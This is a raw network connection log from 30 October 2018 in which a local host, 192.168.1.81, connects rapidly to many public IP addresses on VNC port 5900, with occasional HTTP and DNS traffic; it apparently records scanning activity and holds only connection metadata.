Oct 30, 2018 14:45:05.177748919 CET	51205	5900	192.168.1.81	193.13.142.185
Oct 30, 2018 14:45:05.177795887 CET	51206	5900	192.168.1.81	66.63.12.35
Oct 30, 2018 14:45:05.177844048 CET	51208	5900	192.168.1.81	106.94.32.206
Oct 30, 2018 14:45:05.182645082 CET	51316	5900	192.168.1.81	88.12.21.37
Oct 30, 2018 14:45:05.208950043 CET	51273	5900	192.168.1.81	118.173.171.35
Oct 30, 2018 14:45:05.214010954 CET	51317	5900	192.168.1.81	75.63.110.61
Oct 30, 2018 14:45:05.222039938 CET	80	51314	195.22.28.222	192.168.1.81
Oct 30, 2018 14:45:05.222444057 CET	80	51314	195.22.28.222	192.168.1.81
Oct 30, 2018 14:45:05.222460985 CET	80	51314	195.22.28.222	192.168.1.81
Oct 30, 2018 14:45:05.222640038 CET	51314	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:45:05.224679947 CET	51314	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:45:05.224777937 CET	51279	5900	192.168.1.81	149.19.106.84
Oct 30, 2018 14:45:05.233299971 CET	5900	51278	86.209.178.234	192.168.1.81
Oct 30, 2018 14:45:05.238009930 CET	58308	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:05.255985022 CET	51209	5900	192.168.1.81	113.95.87.172
Oct 30, 2018 14:45:05.256043911 CET	51211	5900	192.168.1.81	91.73.75.52
Oct 30, 2018 14:45:05.271651983 CET	51212	5900	192.168.1.81	200.216.113.221
Oct 30, 2018 14:45:05.275160074 CET	51318	5900	192.168.1.81	48.174.219.83
Oct 30, 2018 14:45:05.276686907 CET	80	51314	195.22.28.222	192.168.1.81
Oct 30, 2018 14:45:05.306546926 CET	51319	5900	192.168.1.81	62.101.53.122
Oct 30, 2018 14:45:05.318769932 CET	51213	5900	192.168.1.81	190.135.110.80
Oct 30, 2018 14:45:05.328830957 CET	5900	51279	149.19.106.84	192.168.1.81
Oct 30, 2018 14:45:05.334425926 CET	51214	5900	192.168.1.81	66.174.66.196
Oct 30, 2018 14:45:05.337769032 CET	51320	5900	192.168.1.81	104.254.241.140
Oct 30, 2018 14:45:05.363615036 CET	53	58308	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:05.367432117 CET	51321	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:05.372035980 CET	51322	5900	192.168.1.81	107.129.31.38
Oct 30, 2018 14:45:05.380717039 CET	51216	5900	192.168.1.81	61.191.179.245
Oct 30, 2018 14:45:05.400984049 CET	51323	5900	192.168.1.81	79.148.104.142
Oct 30, 2018 14:45:05.402753115 CET	5900	51273	118.173.171.35	192.168.1.81
Oct 30, 2018 14:45:05.422991991 CET	80	51321	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:05.423181057 CET	51321	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:05.424283028 CET	51321	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:05.427786112 CET	51218	5900	192.168.1.81	49.157.49.43
Oct 30, 2018 14:45:05.432446957 CET	51324	5900	192.168.1.81	167.215.47.165
Oct 30, 2018 14:45:05.459110022 CET	51220	5900	192.168.1.81	128.22.167.15
Oct 30, 2018 14:45:05.464183092 CET	51325	5900	192.168.1.81	106.25.250.213
Oct 30, 2018 14:45:05.478818893 CET	80	51321	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:05.484071970 CET	80	51321	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:05.484090090 CET	80	51321	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:05.484277010 CET	51321	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:05.486206055 CET	51321	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:45:05.490442038 CET	51221	5900	192.168.1.81	63.130.222.137
Oct 30, 2018 14:45:05.495385885 CET	51326	5900	192.168.1.81	147.124.201.236
Oct 30, 2018 14:45:05.516902924 CET	5900	51323	79.148.104.142	192.168.1.81
Oct 30, 2018 14:45:05.521897078 CET	51222	5900	192.168.1.81	198.85.176.116
Oct 30, 2018 14:45:05.527657986 CET	51327	5900	192.168.1.81	133.48.1.94
Oct 30, 2018 14:45:05.539060116 CET	80	51321	195.22.26.248	192.168.1.81
Oct 30, 2018 14:45:05.550812960 CET	5900	51310	177.219.203.44	192.168.1.81
Oct 30, 2018 14:45:05.553236961 CET	51224	5900	192.168.1.81	149.70.81.34
Oct 30, 2018 14:45:05.557204008 CET	51328	5900	192.168.1.81	117.46.139.96
Oct 30, 2018 14:45:05.596617937 CET	51329	5900	192.168.1.81	164.190.89.80
Oct 30, 2018 14:45:05.615080118 CET	51226	5900	192.168.1.81	173.128.203.127
Oct 30, 2018 14:45:05.621193886 CET	51330	5900	192.168.1.81	207.39.89.212
Oct 30, 2018 14:45:05.651988983 CET	51331	5900	192.168.1.81	122.195.157.195
Oct 30, 2018 14:45:05.662060022 CET	51228	5900	192.168.1.81	115.2.54.101
Oct 30, 2018 14:45:05.677731037 CET	51229	5900	192.168.1.81	187.109.162.41
Oct 30, 2018 14:45:05.680836916 CET	51332	5900	192.168.1.81	157.249.60.22
Oct 30, 2018 14:45:05.709057093 CET	51230	5900	192.168.1.81	179.248.251.34
Oct 30, 2018 14:45:05.740284920 CET	51232	5900	192.168.1.81	142.212.232.69
Oct 30, 2018 14:45:05.745815992 CET	51333	5900	192.168.1.81	34.130.25.130
Oct 30, 2018 14:45:05.771697998 CET	51234	5900	192.168.1.81	76.76.114.139
Oct 30, 2018 14:45:05.776452065 CET	51334	5900	192.168.1.81	163.149.6.202
Oct 30, 2018 14:45:05.806524992 CET	51335	5900	192.168.1.81	79.223.171.180
Oct 30, 2018 14:45:05.838365078 CET	51336	5900	192.168.1.81	159.190.237.251
Oct 30, 2018 14:45:05.849904060 CET	51238	5900	192.168.1.81	81.227.8.174
Oct 30, 2018 14:45:05.870476007 CET	51337	5900	192.168.1.81	64.138.215.192
Oct 30, 2018 14:45:05.881233931 CET	51239	5900	192.168.1.81	82.148.163.241
Oct 30, 2018 14:45:05.896913052 CET	51240	5900	192.168.1.81	63.128.88.59
Oct 30, 2018 14:45:05.902416945 CET	51338	5900	192.168.1.81	126.183.234.224
Oct 30, 2018 14:45:05.928280115 CET	51243	5900	192.168.1.81	187.18.148.31
Oct 30, 2018 14:45:05.934567928 CET	51339	5900	192.168.1.81	129.105.76.124
Oct 30, 2018 14:45:05.958873034 CET	51244	5900	192.168.1.81	193.231.105.21
Oct 30, 2018 14:45:05.964159966 CET	51340	5900	192.168.1.81	43.181.8.90
Oct 30, 2018 14:45:05.990375996 CET	51245	5900	192.168.1.81	42.36.251.151
Oct 30, 2018 14:45:05.993982077 CET	54267	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:05.996295929 CET	51341	5900	192.168.1.81	186.8.241.216
Oct 30, 2018 14:45:06.006028891 CET	51246	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:06.021697998 CET	51247	5900	192.168.1.81	124.144.78.121
Oct 30, 2018 14:45:06.021764994 CET	51323	5900	192.168.1.81	79.148.104.142
Oct 30, 2018 14:45:06.025036097 CET	5900	50985	99.202.101.51	192.168.1.81
Oct 30, 2018 14:45:06.027739048 CET	53	54267	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:06.053009033 CET	51310	5900	192.168.1.81	177.219.203.44
Oct 30, 2018 14:45:06.068738937 CET	51248	5900	192.168.1.81	115.139.120.67
Oct 30, 2018 14:45:06.090610027 CET	51342	5900	192.168.1.81	137.18.222.225
Oct 30, 2018 14:45:06.100198030 CET	51249	5900	192.168.1.81	112.114.136.46
Oct 30, 2018 14:45:06.115840912 CET	51250	5900	192.168.1.81	183.2.21.144
Oct 30, 2018 14:45:06.121893883 CET	51343	5900	192.168.1.81	157.225.232.91
Oct 30, 2018 14:45:06.133678913 CET	5900	51323	79.148.104.142	192.168.1.81
Oct 30, 2018 14:45:06.146415949 CET	51252	5900	192.168.1.81	153.89.65.72
Oct 30, 2018 14:45:06.152972937 CET	51344	5900	192.168.1.81	135.51.70.158
Oct 30, 2018 14:45:06.177861929 CET	51253	5900	192.168.1.81	45.150.182.132
Oct 30, 2018 14:45:06.184344053 CET	51345	5900	192.168.1.81	139.92.129.131
Oct 30, 2018 14:45:06.209204912 CET	51254	5900	192.168.1.81	86.73.216.249
Oct 30, 2018 14:45:06.212925911 CET	51346	5900	192.168.1.81	52.30.230.229
Oct 30, 2018 14:45:06.240413904 CET	51255	5900	192.168.1.81	170.27.65.82
Oct 30, 2018 14:45:06.243278980 CET	51347	5900	192.168.1.81	162.103.108.243
Oct 30, 2018 14:45:06.271698952 CET	51256	5900	192.168.1.81	54.121.51.121
Oct 30, 2018 14:45:06.303004980 CET	51257	5900	192.168.1.81	154.163.160.134
Oct 30, 2018 14:45:06.309078932 CET	51348	5900	192.168.1.81	132.23.165.197
Oct 30, 2018 14:45:06.314765930 CET	51349	5900	192.168.1.81	133.158.59.45
Oct 30, 2018 14:45:06.334755898 CET	5900	51310	177.219.203.44	192.168.1.81
Oct 30, 2018 14:45:06.336946964 CET	51350	5900	192.168.1.81	143.79.174.180
Oct 30, 2018 14:45:06.337683916 CET	51258	5900	192.168.1.81	41.88.237.238
Oct 30, 2018 14:45:06.368024111 CET	51351	5900	192.168.1.81	206.168.109.56
Oct 30, 2018 14:45:06.427829981 CET	51259	5900	192.168.1.81	185.23.20.63
Oct 30, 2018 14:45:06.427916050 CET	51260	5900	192.168.1.81	142.199.208.249
Oct 30, 2018 14:45:06.431667089 CET	51352	5900	192.168.1.81	47.210.18.246
Oct 30, 2018 14:45:06.462893963 CET	51353	5900	192.168.1.81	72.143.117.95
Oct 30, 2018 14:45:06.495055914 CET	51354	5900	192.168.1.81	54.63.49.248
Oct 30, 2018 14:45:06.521754026 CET	51261	5900	192.168.1.81	107.7.134.199
Oct 30, 2018 14:45:06.521840096 CET	51262	5900	192.168.1.81	207.168.241.237
Oct 30, 2018 14:45:06.521876097 CET	51263	5900	192.168.1.81	128.98.99.170
Oct 30, 2018 14:45:06.552570105 CET	51264	5900	192.168.1.81	99.136.59.117
Oct 30, 2018 14:45:06.552731991 CET	51355	5900	192.168.1.81	134.196.80.143
Oct 30, 2018 14:45:06.557117939 CET	57963	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:06.560226917 CET	51356	5900	192.168.1.81	134.38.151.108
Oct 30, 2018 14:45:06.583964109 CET	51265	5900	192.168.1.81	195.129.31.216
Oct 30, 2018 14:45:06.587450981 CET	51357	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:06.591079950 CET	53	57963	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:06.615463972 CET	51267	5900	192.168.1.81	122.225.163.133
Oct 30, 2018 14:45:06.629812956 CET	51358	5900	192.168.1.81	119.160.91.145
Oct 30, 2018 14:45:06.631305933 CET	51323	5900	192.168.1.81	79.148.104.142
Oct 30, 2018 14:45:06.660716057 CET	51359	5900	192.168.1.81	146.106.21.214
Oct 30, 2018 14:45:06.662385941 CET	51268	5900	192.168.1.81	164.249.158.164
Oct 30, 2018 14:45:06.682070971 CET	51360	5900	192.168.1.81	82.139.198.74
Oct 30, 2018 14:45:06.715473890 CET	51361	5900	192.168.1.81	40.165.52.207
Oct 30, 2018 14:45:06.744048119 CET	5900	51323	79.148.104.142	192.168.1.81
Oct 30, 2018 14:45:06.745014906 CET	51362	5900	192.168.1.81	119.112.2.180
Oct 30, 2018 14:45:06.772053003 CET	51269	5900	192.168.1.81	97.181.188.63
Oct 30, 2018 14:45:06.772172928 CET	51270	5900	192.168.1.81	147.15.130.89
Oct 30, 2018 14:45:06.772212982 CET	51271	5900	192.168.1.81	200.254.222.132
Oct 30, 2018 14:45:06.777338982 CET	51363	5900	192.168.1.81	62.120.121.175
Oct 30, 2018 14:45:06.807713032 CET	51364	5900	192.168.1.81	45.10.149.81
Oct 30, 2018 14:45:06.838921070 CET	51365	5900	192.168.1.81	124.124.26.233
Oct 30, 2018 14:45:06.861745119 CET	5900	51357	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:06.861953020 CET	51357	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:06.865302086 CET	51272	5900	192.168.1.81	52.168.243.18
Oct 30, 2018 14:45:06.865379095 CET	51310	5900	192.168.1.81	177.219.203.44
Oct 30, 2018 14:45:06.865422010 CET	51274	5900	192.168.1.81	203.219.214.183
Oct 30, 2018 14:45:06.865453005 CET	51275	5900	192.168.1.81	188.183.221.146
Oct 30, 2018 14:45:06.870270014 CET	51366	5900	192.168.1.81	141.205.187.67
Oct 30, 2018 14:45:06.896825075 CET	51276	5900	192.168.1.81	34.255.190.123
Oct 30, 2018 14:45:06.902550936 CET	51367	5900	192.168.1.81	184.68.149.184
Oct 30, 2018 14:45:06.928189993 CET	51277	5900	192.168.1.81	63.54.104.60
Oct 30, 2018 14:45:06.933254004 CET	51368	5900	192.168.1.81	71.140.128.147
Oct 30, 2018 14:45:06.966330051 CET	51369	5900	192.168.1.81	51.4.248.40
Oct 30, 2018 14:45:06.994801998 CET	51370	5900	192.168.1.81	55.162.176.21
Oct 30, 2018 14:45:07.032468081 CET	51371	5900	192.168.1.81	183.68.121.189
Oct 30, 2018 14:45:07.037251949 CET	51280	5900	192.168.1.81	65.175.206.22
Oct 30, 2018 14:45:07.055356979 CET	51372	5900	192.168.1.81	54.51.157.69
Oct 30, 2018 14:45:07.100061893 CET	51282	5900	192.168.1.81	195.92.165.61
Oct 30, 2018 14:45:07.102226019 CET	64980	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:07.103780031 CET	51373	5900	192.168.1.81	128.48.223.169
Oct 30, 2018 14:45:07.118895054 CET	51374	5900	192.168.1.81	163.119.170.205
Oct 30, 2018 14:45:07.131388903 CET	51283	5900	192.168.1.81	51.176.239.182
Oct 30, 2018 14:45:07.134207964 CET	53	64980	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:07.147034883 CET	51284	5900	192.168.1.81	121.216.124.151
Oct 30, 2018 14:45:07.151226044 CET	51375	5900	192.168.1.81	126.96.58.136
Oct 30, 2018 14:45:07.169374943 CET	5900	51357	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:07.169574976 CET	5900	51357	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:07.169845104 CET	51357	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:07.177599907 CET	51285	5900	192.168.1.81	198.98.215.121
Oct 30, 2018 14:45:07.182827950 CET	51376	5900	192.168.1.81	39.159.47.140
Oct 30, 2018 14:45:07.208986998 CET	51286	5900	192.168.1.81	136.69.207.161
Oct 30, 2018 14:45:07.215507984 CET	51377	5900	192.168.1.81	205.78.107.183
Oct 30, 2018 14:45:07.245316029 CET	51378	5900	192.168.1.81	105.190.164.44
Oct 30, 2018 14:45:07.287411928 CET	51288	5900	192.168.1.81	78.31.12.65
Oct 30, 2018 14:45:07.307910919 CET	51379	5900	192.168.1.81	178.75.44.82
Oct 30, 2018 14:45:07.318738937 CET	51289	5900	192.168.1.81	87.212.134.65
Oct 30, 2018 14:45:07.350219965 CET	51380	5900	192.168.1.81	199.212.214.16
Oct 30, 2018 14:45:07.350343943 CET	51290	5900	192.168.1.81	122.250.108.125
Oct 30, 2018 14:45:07.368673086 CET	51381	5900	192.168.1.81	53.169.90.215
Oct 30, 2018 14:45:07.380759954 CET	51291	5900	192.168.1.81	65.168.28.229
Oct 30, 2018 14:45:07.404323101 CET	51382	5900	192.168.1.81	154.25.153.245
Oct 30, 2018 14:45:07.427973986 CET	51292	5900	192.168.1.81	100.151.31.36
Oct 30, 2018 14:45:07.433912039 CET	51383	5900	192.168.1.81	164.209.90.18
Oct 30, 2018 14:45:07.459322929 CET	51293	5900	192.168.1.81	170.228.102.129
Oct 30, 2018 14:45:07.465085030 CET	51384	5900	192.168.1.81	34.175.136.182
Oct 30, 2018 14:45:07.478553057 CET	5900	51357	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:07.478974104 CET	5900	51357	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:07.479168892 CET	5900	51357	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:07.479177952 CET	51357	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:07.479270935 CET	51357	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:07.480267048 CET	51385	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:07.490679026 CET	51294	5900	192.168.1.81	160.163.207.81
Oct 30, 2018 14:45:07.496223927 CET	51386	5900	192.168.1.81	130.243.217.50
Oct 30, 2018 14:45:07.521948099 CET	51295	5900	192.168.1.81	116.157.173.133
Oct 30, 2018 14:45:07.527559996 CET	51387	5900	192.168.1.81	117.5.140.114
Oct 30, 2018 14:45:07.552687883 CET	51296	5900	192.168.1.81	130.146.29.139
Oct 30, 2018 14:45:07.558434963 CET	51388	5900	192.168.1.81	48.194.82.42
Oct 30, 2018 14:45:07.570183992 CET	5900	51386	130.243.217.50	192.168.1.81
Oct 30, 2018 14:45:07.584136963 CET	51297	5900	192.168.1.81	97.50.98.241
Oct 30, 2018 14:45:07.590420961 CET	51389	5900	192.168.1.81	141.150.166.198
Oct 30, 2018 14:45:07.621809959 CET	51390	5900	192.168.1.81	196.54.145.41
Oct 30, 2018 14:45:07.643244028 CET	60824	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:07.648983955 CET	51391	5900	192.168.1.81	52.202.161.143
Oct 30, 2018 14:45:07.675873995 CET	53	60824	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:07.682324886 CET	51392	5900	192.168.1.81	72.242.28.167
Oct 30, 2018 14:45:07.712955952 CET	51393	5900	192.168.1.81	139.86.33.64
Oct 30, 2018 14:45:07.724847078 CET	51298	5900	192.168.1.81	178.44.70.251
Oct 30, 2018 14:45:07.724935055 CET	51299	5900	192.168.1.81	61.118.233.144
Oct 30, 2018 14:45:07.724967003 CET	51300	5900	192.168.1.81	195.171.214.246
Oct 30, 2018 14:45:07.734107971 CET	5900	51281	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:07.735340118 CET	51394	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:07.745467901 CET	51395	5900	192.168.1.81	160.52.95.129
Oct 30, 2018 14:45:07.776771069 CET	51396	5900	192.168.1.81	54.50.246.61
Oct 30, 2018 14:45:07.783260107 CET	5900	51385	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:07.783482075 CET	51385	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:07.807984114 CET	51397	5900	192.168.1.81	196.75.51.30
Oct 30, 2018 14:45:07.818228006 CET	51301	5900	192.168.1.81	198.95.211.48
Oct 30, 2018 14:45:07.818315029 CET	51302	5900	192.168.1.81	33.93.169.180
Oct 30, 2018 14:45:07.818351984 CET	51303	5900	192.168.1.81	70.5.99.205
Oct 30, 2018 14:45:07.837867975 CET	51398	5900	192.168.1.81	90.164.73.89
Oct 30, 2018 14:45:07.869863033 CET	51399	5900	192.168.1.81	91.175.38.174
Oct 30, 2018 14:45:07.901029110 CET	51400	5900	192.168.1.81	154.212.144.76
Oct 30, 2018 14:45:07.928035975 CET	51304	5900	192.168.1.81	63.2.19.243
Oct 30, 2018 14:45:07.928138971 CET	51305	5900	192.168.1.81	160.219.168.238
Oct 30, 2018 14:45:07.928174019 CET	51306	5900	192.168.1.81	189.131.30.105
Oct 30, 2018 14:45:07.928201914 CET	51307	5900	192.168.1.81	207.228.245.178
Oct 30, 2018 14:45:07.934271097 CET	51401	5900	192.168.1.81	99.26.161.114
Oct 30, 2018 14:45:07.959290981 CET	51308	5900	192.168.1.81	44.157.214.79
Oct 30, 2018 14:45:07.963887930 CET	51402	5900	192.168.1.81	51.241.91.80
Oct 30, 2018 14:45:07.995316982 CET	51403	5900	192.168.1.81	34.53.215.153
Oct 30, 2018 14:45:08.021939039 CET	51311	5900	192.168.1.81	136.17.95.5
Oct 30, 2018 14:45:08.024128914 CET	51404	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:08.027915955 CET	51405	5900	192.168.1.81	112.106.231.59
Oct 30, 2018 14:45:08.053338051 CET	51312	5900	192.168.1.81	193.241.34.206
Oct 30, 2018 14:45:08.053359985 CET	5900	51394	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:08.053893089 CET	51394	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:08.059082985 CET	51406	5900	192.168.1.81	34.221.7.41
Oct 30, 2018 14:45:08.083926916 CET	51386	5900	192.168.1.81	130.243.217.50
Oct 30, 2018 14:45:08.088265896 CET	51407	5900	192.168.1.81	31.179.15.184
Oct 30, 2018 14:45:08.090157032 CET	5900	51385	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:08.090543985 CET	5900	51385	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:08.090859890 CET	51385	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:08.099575996 CET	51313	5900	192.168.1.81	92.237.92.70
Oct 30, 2018 14:45:08.119739056 CET	51408	5900	192.168.1.81	107.110.8.248
Oct 30, 2018 14:45:08.130973101 CET	51315	5900	192.168.1.81	199.34.112.103
Oct 30, 2018 14:45:08.138705969 CET	5900	51386	130.243.217.50	192.168.1.81
Oct 30, 2018 14:45:08.151334047 CET	51409	5900	192.168.1.81	66.156.122.134
Oct 30, 2018 14:45:08.178157091 CET	51316	5900	192.168.1.81	88.12.21.37
Oct 30, 2018 14:45:08.209505081 CET	51317	5900	192.168.1.81	75.63.110.61
Oct 30, 2018 14:45:08.212414026 CET	51410	5900	192.168.1.81	39.158.47.59
Oct 30, 2018 14:45:08.214637041 CET	51411	5900	192.168.1.81	159.184.173.203
Oct 30, 2018 14:45:08.219980001 CET	57911	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:08.243499041 CET	51412	5900	192.168.1.81	125.113.251.28
Oct 30, 2018 14:45:08.251848936 CET	53	57911	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:08.271392107 CET	51318	5900	192.168.1.81	48.174.219.83
Oct 30, 2018 14:45:08.279889107 CET	5900	51404	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:08.280026913 CET	51404	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:08.291115046 CET	51413	5900	192.168.1.81	156.84.220.119
Oct 30, 2018 14:45:08.302839041 CET	51319	5900	192.168.1.81	62.101.53.122
Oct 30, 2018 14:45:08.340574026 CET	51414	5900	192.168.1.81	87.180.155.101
Oct 30, 2018 14:45:08.360069036 CET	51415	5900	192.168.1.81	75.249.153.57
Oct 30, 2018 14:45:08.369378090 CET	51320	5900	192.168.1.81	104.254.241.140
Oct 30, 2018 14:45:08.369411945 CET	51322	5900	192.168.1.81	107.129.31.38
Oct 30, 2018 14:45:08.371967077 CET	51416	5900	192.168.1.81	70.15.56.189
Oct 30, 2018 14:45:08.397759914 CET	5900	51385	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:08.398170948 CET	5900	51385	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:08.398268938 CET	51385	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:08.398412943 CET	5900	51385	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:08.398473978 CET	51385	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:08.401807070 CET	51417	5900	192.168.1.81	91.11.199.249
Oct 30, 2018 14:45:08.428030968 CET	51324	5900	192.168.1.81	167.215.47.165
Oct 30, 2018 14:45:08.432404041 CET	51418	5900	192.168.1.81	34.158.153.241
Oct 30, 2018 14:45:08.464379072 CET	51419	5900	192.168.1.81	142.102.101.246
Oct 30, 2018 14:45:08.497375965 CET	51420	5900	192.168.1.81	68.166.21.81
Oct 30, 2018 14:45:08.521378040 CET	51325	5900	192.168.1.81	106.25.250.213
Oct 30, 2018 14:45:08.521462917 CET	51326	5900	192.168.1.81	147.124.201.236
Oct 30, 2018 14:45:08.521496058 CET	51327	5900	192.168.1.81	133.48.1.94
Oct 30, 2018 14:45:08.526113987 CET	51421	5900	192.168.1.81	209.154.168.225
Oct 30, 2018 14:45:08.537455082 CET	5900	51404	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:08.537744999 CET	51404	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:08.552723885 CET	51328	5900	192.168.1.81	117.46.139.96
Oct 30, 2018 14:45:08.557554960 CET	51422	5900	192.168.1.81	118.206.79.19
Oct 30, 2018 14:45:08.590162039 CET	51423	5900	192.168.1.81	167.52.223.19
Oct 30, 2018 14:45:08.599687099 CET	51329	5900	192.168.1.81	164.190.89.80
Oct 30, 2018 14:45:08.615333080 CET	51330	5900	192.168.1.81	207.39.89.212
Oct 30, 2018 14:45:08.623318911 CET	51424	5900	192.168.1.81	154.240.202.213
Oct 30, 2018 14:45:08.646661997 CET	51386	5900	192.168.1.81	130.243.217.50
Oct 30, 2018 14:45:08.646696091 CET	51331	5900	192.168.1.81	122.195.157.195
Oct 30, 2018 14:45:08.649386883 CET	51425	5900	192.168.1.81	162.13.51.199
Oct 30, 2018 14:45:08.678148031 CET	51332	5900	192.168.1.81	157.249.60.22
Oct 30, 2018 14:45:08.701536894 CET	5900	51386	130.243.217.50	192.168.1.81
Oct 30, 2018 14:45:08.715226889 CET	51426	5900	192.168.1.81	208.53.37.126
Oct 30, 2018 14:45:08.740068913 CET	51333	5900	192.168.1.81	34.130.25.130
Oct 30, 2018 14:45:08.752757072 CET	64061	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:08.754746914 CET	51427	5900	192.168.1.81	31.87.131.35
Oct 30, 2018 14:45:08.774374008 CET	51428	5900	192.168.1.81	111.108.239.206
Oct 30, 2018 14:45:08.785459995 CET	53	64061	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:08.796022892 CET	5900	51404	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:08.796041965 CET	5900	51404	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:08.798186064 CET	5900	51404	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:08.798305988 CET	51404	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:08.799875021 CET	51404	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:08.800436974 CET	51429	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:08.806726933 CET	51430	5900	192.168.1.81	56.239.151.21
Oct 30, 2018 14:45:08.839484930 CET	51431	5900	192.168.1.81	50.34.45.98
Oct 30, 2018 14:45:08.849776030 CET	51334	5900	192.168.1.81	163.149.6.202
Oct 30, 2018 14:45:08.849863052 CET	51335	5900	192.168.1.81	79.223.171.180
Oct 30, 2018 14:45:08.849896908 CET	51336	5900	192.168.1.81	159.190.237.251
Oct 30, 2018 14:45:08.874922037 CET	51432	5900	192.168.1.81	154.185.233.61
Oct 30, 2018 14:45:08.905599117 CET	51433	5900	192.168.1.81	198.146.205.119
Oct 30, 2018 14:45:08.933806896 CET	51434	5900	192.168.1.81	95.89.195.18
Oct 30, 2018 14:45:08.943759918 CET	51337	5900	192.168.1.81	64.138.215.192
Oct 30, 2018 14:45:08.943825960 CET	51338	5900	192.168.1.81	126.183.234.224
Oct 30, 2018 14:45:08.943851948 CET	51339	5900	192.168.1.81	129.105.76.124
Oct 30, 2018 14:45:08.967551947 CET	51435	5900	192.168.1.81	177.106.223.238
Oct 30, 2018 14:45:08.995095968 CET	51436	5900	192.168.1.81	174.73.186.160
Oct 30, 2018 14:45:09.024425983 CET	51437	5900	192.168.1.81	59.123.173.242
Oct 30, 2018 14:45:09.056570053 CET	51340	5900	192.168.1.81	43.181.8.90
Oct 30, 2018 14:45:09.056670904 CET	51341	5900	192.168.1.81	186.8.241.216
Oct 30, 2018 14:45:09.059525013 CET	5900	51429	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:09.059617043 CET	5900	51404	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:09.059732914 CET	51404	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:09.059787989 CET	51429	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:09.062624931 CET	51438	5900	192.168.1.81	195.157.250.244
Oct 30, 2018 14:45:09.083986044 CET	51342	5900	192.168.1.81	137.18.222.225
Oct 30, 2018 14:45:09.089378119 CET	51439	5900	192.168.1.81	176.134.32.40
Oct 30, 2018 14:45:09.115317106 CET	51343	5900	192.168.1.81	157.225.232.91
Oct 30, 2018 14:45:09.123552084 CET	51440	5900	192.168.1.81	47.208.83.149
Oct 30, 2018 14:45:09.146742105 CET	51344	5900	192.168.1.81	135.51.70.158
Oct 30, 2018 14:45:09.151870012 CET	51441	5900	192.168.1.81	115.144.249.112
Oct 30, 2018 14:45:09.178167105 CET	51345	5900	192.168.1.81	139.92.129.131
Oct 30, 2018 14:45:09.183461905 CET	51442	5900	192.168.1.81	33.35.19.11
Oct 30, 2018 14:45:09.209554911 CET	51346	5900	192.168.1.81	52.30.230.229
Oct 30, 2018 14:45:09.213840961 CET	51443	5900	192.168.1.81	62.200.222.186
Oct 30, 2018 14:45:09.240089893 CET	51347	5900	192.168.1.81	162.103.108.243
Oct 30, 2018 14:45:09.245364904 CET	51444	5900	192.168.1.81	102.135.193.252
Oct 30, 2018 14:45:09.292244911 CET	60488	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:09.295195103 CET	51445	5900	192.168.1.81	40.126.175.107
Oct 30, 2018 14:45:09.303134918 CET	51348	5900	192.168.1.81	132.23.165.197
Oct 30, 2018 14:45:09.307149887 CET	51446	5900	192.168.1.81	97.37.152.94
